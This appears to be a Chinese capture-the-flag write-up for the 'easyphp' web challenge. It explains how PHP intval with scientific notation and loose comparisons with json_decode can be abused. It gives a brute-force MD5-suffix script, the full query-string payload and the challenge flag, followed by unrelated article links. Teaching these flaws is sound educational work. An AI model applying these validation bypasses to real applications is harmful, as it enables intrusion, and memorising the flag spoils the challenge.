当前位置: 首页 > news >正文

攻防世界-Web-easyphp

知识点

1.弱判断和强判断

2.intval可以转换科学计数法

步骤

php源码分析

第一段:
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){if(isset($b) && '8b184b' === substr(md5($b),-6,6)){$key1 = 1;}else{die("Emmm...再想想");}}else{die("Emmm...");
}

第一个if判断变量a的值转化为整形后是否大于6000000 ,并且a的长度小于等于3,这里按照正常想法只有3位的数肯定是不会大于6000000 的。

这里利用科学技术法来表示a,如1e9,并且长度为3。

第二个if判断md5加密b后再截取倒数第6位到第6位的字符串是否===8b184b,相等则令key1=1.

这里利用脚本来跑出b的值,b=53724。

<?php
for($i=0;$i<9999999;$i++){
if('8b184b'===substr(md5($i),-6,6)){echo($i);break;
}
}?>
构造a和b为:a=1e9&b=53724
第二段:
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){$d = array_search("DGGJ", $c["n"]);$d === false?die("no..."):NULL;foreach($c["n"] as $key=>$val){$val==="DGGJ"?die("no......"):NULL;}$key2 = 1;}else{die("no hack");}
}else{die("no");
}

首先将getg接受的c json解码后复值给变量c。

第一个if判断c是否为数组,并且c中的m键的值是否为数字,这里要求不为数字,并且c中的m键的值>2022,这里大于使用的是弱判断,即先会转化为数字再进行比较。

这里构造这个c为:array("m":"2023a")。

第二个if判断c中的键值n的值是否为数组,并且数组的个数是否==2,并且n中的第0位是否是数组。再在数据n里搜寻"DGGJ",将其真假赋值给d,如果d为假则退出,所以n中要存在"DGGJ"。

最后是一个foreach循环,循环n中的每个元素,判断n中的每个值是否==="DGGJ",search那是弱判断,这里是强判断。所以这里要令数组中值为0,因为"DGGJ"==0。

构造c为:array("m" => "2023a","n" => array(array(1,1),0)).json_encode()

payload:

?a=1e9&b=53724&c={"m":"2023a","n":[[1,1],0]}

flag:cyberpeace{cdbf39936379503a281ede0dbe1d1998}

http://www.dtcms.com/a/461011.html

相关文章:

  • js移动端开发面试题
  • LoRaWAN NS 对比分析
  • php网站开发项目实战周易起名网唯一官网免费
  • PyCharm入门级详细使用手册(Python新手快速上手篇)
  • 建一个网站大约花多少钱一键生成app制作器
  • Qt C++ :XML文件处理工具 <QXml>模块
  • 门诊场景评测深度分析报告:医生-病人-测量代理交互对诊断影响机制研究(上)
  • 海康威视 2DC 系列球机手机直连实用教程
  • MyBatis Mapper XML 核心详解
  • 加强局网站建设网站建设域名多少钱
  • 记录最新 Neo4j 安装过程(截图实操)、使用、踩坑 Neo4j 5.26.13、JDK 17安装
  • JavaWeb项目部署到Tomcat的三种方法
  • MyBatis配置全解析:核心要点详解
  • apache-tomcat 安装部署
  • 如何为卫生中心构建安全高效的网络系统?
  • 抖音代运营业务介绍seo文案范例
  • 珠海网站排名提升昆明网站建设frf
  • 使用 Loki + Promtail + Grafana 实现 Docker 容器日志采集与可视化
  • Dockerfile实战案例详解
  • Paimon系列:主键表流读之changelog producer
  • 本地 Docker 镜像送上云:腾讯云无服务器与容器化全栈迁移实战
  • win10安装spark3.1详细流程(小白用)
  • Spark on k8s部署
  • Kotlin 内联函数、高阶函数、扩展函数
  • 用化学方法nmp溶剂从佳能cmos传感器上剥离拜耳矩阵和微透镜
  • Apache Tomcat 详解
  • 矩阵奇异值分解(SVD)中Golub–Kahan 双对角化 + 对双对角矩阵的隐式QR详解
  • QT MVC中Model的特点及使用注意事项
  • wordpress最快仿站宁波网络营销服务
  • 徕卡RTC360助力铝单板设计效率提升